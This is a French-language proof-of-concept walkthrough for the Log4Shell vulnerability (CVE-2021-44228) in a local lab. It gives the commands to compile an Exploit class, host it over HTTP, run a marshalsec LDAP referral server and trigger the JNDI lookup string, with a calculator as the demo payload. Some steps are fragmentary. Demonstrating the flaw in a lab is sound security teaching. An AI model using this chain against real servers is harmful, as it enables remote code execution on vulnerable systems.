
Preuve de concept pour Log4Shell (CVE-2021-44228) démontrant l'exécution de code à distance basée sur JNDI via des serveurs LDAP et HTTP.
Exploit.java dans un autre dossier. Comme dans mon cas, j'ai créé un dossier rce dans le répertoire personnel. /home/coldfusionx/rce
Exploit.java
Ici, vous pouvez modifier le code distant comme vous le souhaitez, dans ce cas cela ouvrirait sur une machine Ubuntu.gnome-calculator
Exploit.java avec la commande javac Exploit.java, une fois la compilation réussie, nous devrions voir un nouveau fichier Exploit.class être créé.
Exploit.class avec python3 -m http.server 8888, vous pouvez également utiliser un serveur PHP avec la commande php -S 127.0.0.1:8888.

Add Configuration
1. Sélectionnez `Application`

2. Sélectionnez la classe principale

3. Sélectionnez le JDK et appliquez.

4. Vous devriez voir l'application Log4j créée, prête à être exécutée.

marshasecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" pour démarrer le serveur LDAP, ici 127.0.0.1:8888 est le serveur Python qui héberge Exploit.class, d'où la spécification de /#Exploit
Étape 9 : Modifiez la charge utile JNDI dans log4j.java selon vos besoins, logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
Dans ce cas, nous chargeons la classe distante Exploit, le serveur de référence LDAP redirigera la requête vers notre serveur Python qui héberge la classe malveillante Exploit.
Étape 10 : Exécutez Log4j, en cas de succès, vous devriez voir une calculatrice gnome s'ouvrir.
